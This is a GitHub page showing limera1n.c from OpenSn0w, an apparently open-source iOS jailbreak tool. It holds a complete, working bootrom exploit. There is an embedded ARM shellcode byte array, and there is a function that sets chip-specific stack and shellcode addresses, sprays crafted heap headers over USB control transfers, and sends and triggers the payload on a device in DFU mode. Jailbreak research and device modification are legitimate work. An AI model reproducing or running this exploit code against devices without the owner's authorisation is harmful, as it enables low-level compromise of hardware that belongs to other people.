-
Notifications
You must be signed in to change notification settings - Fork 3
/
limera1n.c
152 lines (134 loc) · 6.4 KB
/
limera1n.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
/* OpenSn0w
* Open source equivalent of redsn0w
* Brought to you by rms, acfrazier & Maximus
* Special thanks to iH8sn0w & MuscleNerd
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
**/
#include "sn0w.h"
/* The following is from Chronic-Dev's syringe */
unsigned char limera1n_payload[] = {
0x7f, 0x46, 0x07, 0xe0, 0xc0, 0x46, 0xc0, 0x46, 0xc0, 0x46, 0xc0, 0x46,
0xc0, 0x46, 0xc0, 0x46, 0xc0, 0x46, 0xc0, 0x46, 0x65, 0x48, 0x02, 0x68,
0x65, 0x48, 0x90, 0x42, 0x06, 0xd1, 0x65, 0x49, 0x39, 0x60, 0x65, 0x49,
0x79, 0x60, 0x65, 0x49, 0xb9, 0x60, 0x1c, 0xe0, 0x64, 0x48, 0x90, 0x42,
0x06, 0xd1, 0x64, 0x49, 0x39, 0x60, 0x64, 0x49, 0x79, 0x60, 0x64, 0x49,
0xb9, 0x60, 0x12, 0xe0, 0x63, 0x48, 0x90, 0x42, 0x06, 0xd1, 0x63, 0x49,
0x39, 0x60, 0x63, 0x49, 0x79, 0x60, 0x63, 0x49, 0xb9, 0x60, 0x08, 0xe0,
0x62, 0x48, 0x90, 0x42, 0x05, 0xd1, 0x62, 0x49, 0x39, 0x60, 0x5e, 0x49,
0x79, 0x60, 0x61, 0x49, 0xb9, 0x60, 0x61, 0x48, 0x61, 0x49, 0x3b, 0x68,
0x98, 0x47, 0x61, 0x48, 0x5e, 0x49, 0x4a, 0x68, 0x00, 0xf0, 0x88, 0xf8,
0x00, 0x28, 0xcb, 0xd0, 0x06, 0x1c, 0x5e, 0x48, 0x5a, 0x49, 0x4a, 0x68,
0x00, 0xf0, 0x80, 0xf8, 0x00, 0x28, 0xc3, 0xd0, 0x05, 0x1c, 0x11, 0x20,
0x14, 0x24, 0x29, 0x19, 0x2a, 0x19, 0x30, 0x23, 0x58, 0x4c, 0x00, 0x94,
0x00, 0x24, 0x01, 0x94, 0x00, 0x24, 0x02, 0x94, 0x7c, 0x68, 0xa0, 0x47,
0x11, 0x20, 0x0c, 0x24, 0x31, 0x19, 0x32, 0x19, 0xb3, 0x68, 0x53, 0x4c,
0x00, 0x94, 0x24, 0x24, 0x64, 0x19, 0x01, 0x94, 0x14, 0x24, 0x64, 0x19,
0x02, 0x94, 0x7c, 0x68, 0xa0, 0x47, 0x49, 0x48, 0x0c, 0x21, 0x89, 0x19,
0xb2, 0x68, 0x15, 0x1c, 0x00, 0xf0, 0x52, 0xf8, 0x4b, 0x48, 0x45, 0x49,
0x2a, 0x1c, 0x00, 0xf0, 0x55, 0xf8, 0x00, 0x28, 0x08, 0xd0, 0x01, 0x1c,
0x48, 0x48, 0x49, 0x4a, 0x00, 0xf0, 0x4e, 0xf8, 0x00, 0x28, 0x01, 0xd0,
0x47, 0x49, 0x01, 0x60, 0x47, 0x48, 0x3d, 0x49, 0x2a, 0x1c, 0x00, 0xf0,
0x45, 0xf8, 0x00, 0x28, 0x08, 0xd0, 0x01, 0x1c, 0x44, 0x48, 0x41, 0x4a,
0x00, 0xf0, 0x3e, 0xf8, 0x00, 0x28, 0x01, 0xd0, 0x42, 0x49, 0x01, 0x60,
0x42, 0x48, 0x35, 0x49, 0x2a, 0x1c, 0x00, 0xf0, 0x35, 0xf8, 0x00, 0x28,
0x08, 0xd0, 0x01, 0x1c, 0x3f, 0x48, 0x39, 0x4a, 0x00, 0xf0, 0x2e, 0xf8,
0x00, 0x28, 0x01, 0xd0, 0x37, 0x49, 0x01, 0x60, 0x3c, 0x48, 0x2d, 0x49,
0x2a, 0x1c, 0x3c, 0x4b, 0x00, 0xf0, 0x26, 0xf8, 0x00, 0x28, 0x0f, 0xd1,
0x3a, 0x48, 0x29, 0x49, 0x2a, 0x1c, 0x3a, 0x4b, 0x00, 0xf0, 0x1e, 0xf8,
0x00, 0x28, 0x07, 0xd1, 0x38, 0x48, 0x25, 0x49, 0x2a, 0x1c, 0x38, 0x4b,
0x00, 0xf0, 0x16, 0xf8, 0x00, 0x28, 0x03, 0xd0, 0x36, 0x49, 0x01, 0x60,
0x36, 0x49, 0x41, 0x60, 0x00, 0x20, 0x1f, 0x49, 0x00, 0x22, 0xbb, 0x68,
0x98, 0x47, 0x4d, 0xe7, 0x0b, 0x78, 0x03, 0x70, 0x01, 0x30, 0x01, 0x31,
0x01, 0x3a, 0x00, 0x2a, 0xf8, 0xd1, 0x70, 0x47, 0x00, 0x23, 0xff, 0xe7,
0x10, 0xb5, 0x0c, 0x68, 0x84, 0x42, 0x04, 0xd1, 0x00, 0x2b, 0x07, 0xd0,
0x4c, 0x68, 0x9c, 0x42, 0x04, 0xd0, 0x02, 0x31, 0x02, 0x3a, 0x00, 0x2a,
0xf3, 0xd1, 0x00, 0x21, 0x08, 0x1c, 0x10, 0xbd, 0x88, 0x02, 0x00, 0x00,
0x39, 0x2e, 0x35, 0x00, 0xe5, 0x36, 0x00, 0x00, 0x19, 0x09, 0x00, 0x00,
0xdd, 0x39, 0x00, 0x00, 0x34, 0x2e, 0x34, 0x00, 0x85, 0x4c, 0x00, 0x00,
0x6d, 0x68, 0x00, 0x00, 0x5d, 0x5a, 0x00, 0x00, 0x39, 0x2e, 0x33, 0x00,
0x9d, 0x34, 0x00, 0x00, 0x25, 0x09, 0x00, 0x00, 0x69, 0x39, 0x00, 0x00,
0x39, 0x2e, 0x33, 0x2e, 0xa5, 0x34, 0x00, 0x00, 0x71, 0x39, 0x00, 0x00,
0x00, 0x00, 0x00, 0x84, 0x00, 0xc0, 0x02, 0x00, 0x41, 0x54, 0x41, 0x44,
0x47, 0x41, 0x42, 0x4b, 0x00, 0x02, 0x00, 0x20, 0x00, 0x00, 0x00, 0x20,
0x1a, 0x78, 0xff, 0x2a, 0x4f, 0xf0, 0xff, 0x30, 0x00, 0x02, 0x00, 0x00,
0x00, 0x20, 0x00, 0x20, 0xf3, 0xdf, 0x90, 0xb5, 0x07, 0x4b, 0x1b, 0x68,
0x4f, 0xf0, 0xff, 0x33, 0x11, 0x9a, 0xd3, 0xf1, 0x18, 0xbf, 0x01, 0x20,
0x80, 0xb5, 0x00, 0xaf, 0x82, 0xb0, 0x4f, 0xf0, 0xb0, 0xb5, 0x02, 0xaf,
0x82, 0xb0, 0x01, 0x28, 0x90, 0xb5, 0x01, 0xaf, 0x84, 0xb0, 0x4f, 0xf0,
0x00, 0x4b, 0x18, 0x47, 0x00, 0x00, 0x00, 0x41
};
unsigned int limera1n_payload_len = 584;
int limera1n() {
irecv_error_t error = IRECV_E_SUCCESS;
unsigned int i = 0;
unsigned char buf[0x800];
unsigned char shellcode[0x800];
unsigned int max_size = 0x24000;
unsigned int stack_address = 0x84033F98;
unsigned int shellcode_address = 0x84023001;
unsigned int shellcode_length = 0;
if (device->chip_id == 8930) {
max_size = 0x2C000;
stack_address = 0x8403BF9C;
shellcode_address = 0x8402B001;
}
if (device->chip_id == 8920) {
max_size = 0x24000;
stack_address = 0x84033FA4;
shellcode_address = 0x84023001;
}
memset(shellcode, 0x0, 0x800);
shellcode_length = sizeof(limera1n_payload);
memcpy(shellcode, limera1n_payload, sizeof(limera1n_payload));
printf("Resetting device counters\n");
error = irecv_reset_counters(client);
if (error != IRECV_E_SUCCESS) {
printf("%s\n", irecv_strerror(error));
return -1;
}
memset(buf, 0xCC, 0x800);
for(i = 0; i < 0x800; i += 0x40) {
unsigned int* heap = (unsigned int*)(buf+i);
heap[0] = 0x405;
heap[1] = 0x101;
heap[2] = shellcode_address;
heap[3] = stack_address;
}
printf("Sending chunk headers\n");
irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000);
memset(buf, 0xCC, 0x800);
for(i = 0; i < (max_size - (0x800 * 3)); i += 0x800) {
irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000);
}
printf("Sending exploit payload\n");
irecv_control_transfer(client, 0x21, 1, 0, 0, shellcode, 0x800, 1000);
printf("Sending fake data\n");
memset(buf, 0xBB, 0x800);
irecv_control_transfer(client, 0xA1, 1, 0, 0, buf, 0x800, 1000);
irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 10);
//printf("Executing exploit\n");
irecv_control_transfer(client, 0x21, 2, 0, 0, buf, 0, 1000);
irecv_reset(client);
irecv_finish_transfer(client);
printf("Exploit sent\n");
printf("Reconnecting to device\n");
client = irecv_reconnect(client, 2);
if (client == NULL) {
printf("%s\n", irecv_strerror(error));
printf("Unable to reconnect\n");
return -1;
}
return 0;
}